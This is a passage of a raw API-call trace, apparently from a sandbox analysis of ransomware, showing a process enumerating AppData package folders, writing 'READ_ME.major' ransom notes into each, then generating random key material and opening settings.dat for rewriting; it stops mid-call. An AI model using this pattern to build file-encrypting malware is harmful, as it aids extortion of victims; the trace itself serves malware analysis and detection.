lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c438394, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c6f8 [0194.724] FindNextFileW (in: hFindFile=0x2f2c6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c438394, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.724] FindNextFileW (in: hFindFile=0x2f2c6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf38d8d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf38d8d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.725] FindNextFileW (in: hFindFile=0x2f2c6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf38d8d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf38d8d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89788 [0194.725] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c5f8 [0194.725] FindNextFileW (in: hFindFile=0x2f2c5f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.725] FindNextFileW (in: hFindFile=0x2f2c5f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf38d8d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf38d8d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.725] FindNextFileW (in: hFindFile=0x2f2c5f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf38d8d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bf38d8d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bf38d8d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c248 [0194.725] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bfd1349, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c2f8 [0194.725] FindNextFileW (in: hFindFile=0x2f2c2f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bfd1349, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.725] FindNextFileW (in: hFindFile=0x2f2c2f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0194.725] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb2c [0194.726] WriteFile (in: hFile=0xb2c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.727] CloseHandle (hObject=0xb2c) returned 1 [0194.728] FindNextFileW (in: hFindFile=0x2f2c2f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0194.728] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb2c [0194.728] WriteFile (in: hFile=0xb2c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.729] CloseHandle (hObject=0xb2c) returned 1 [0194.729] FindNextFileW (in: hFindFile=0x2f2c2f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0194.729] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb2c [0194.730] WriteFile (in: hFile=0xb2c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.730] CloseHandle (hObject=0xb2c) returned 1 [0194.730] FindNextFileW (in: hFindFile=0x2f2c2f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfd1349, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bfd1349, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bfd1349, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.730] FindNextFileW (in: hFindFile=0x2f2c2f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0194.730] FindNextFileW (in: hFindFile=0x2f2c2f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0194.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c968 [0194.731] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c638 [0194.731] FindNextFileW (in: hFindFile=0x2f2c638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.731] FindNextFileW (in: hFindFile=0x2f2c638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.731] FindNextFileW (in: hFindFile=0x2f2c638, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88db0 [0194.731] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c678 [0194.731] FindNextFileW (in: hFindFile=0x2f2c678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.731] FindNextFileW (in: hFindFile=0x2f2c678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.731] FindNextFileW (in: hFindFile=0x2f2c678, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f891a0 [0194.731] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c378 [0194.731] FindNextFileW (in: hFindFile=0x2f2c378, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.732] FindNextFileW (in: hFindFile=0x2f2c378, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.732] FindNextFileW (in: hFindFile=0x2f2c378, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f892f0 [0194.732] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c278 [0194.732] FindNextFileW (in: hFindFile=0x2f2c278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.732] FindNextFileW (in: hFindFile=0x2f2c278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.732] FindNextFileW (in: hFindFile=0x2f2c278, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f891a0 [0194.732] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c3b8 [0194.732] FindNextFileW (in: hFindFile=0x2f2c3b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.732] FindNextFileW (in: hFindFile=0x2f2c3b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bff746c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bff746c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bff746c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.733] FindNextFileW (in: hFindFile=0x2f2c3b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0194.733] FindNextFileW (in: hFindFile=0x2f2c3b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0194.733] FindNextFileW (in: hFindFile=0x2f2c3b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0194.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85e30 [0194.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb48 [0194.733] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.733] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0194.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85c08 [0194.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0194.733] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, 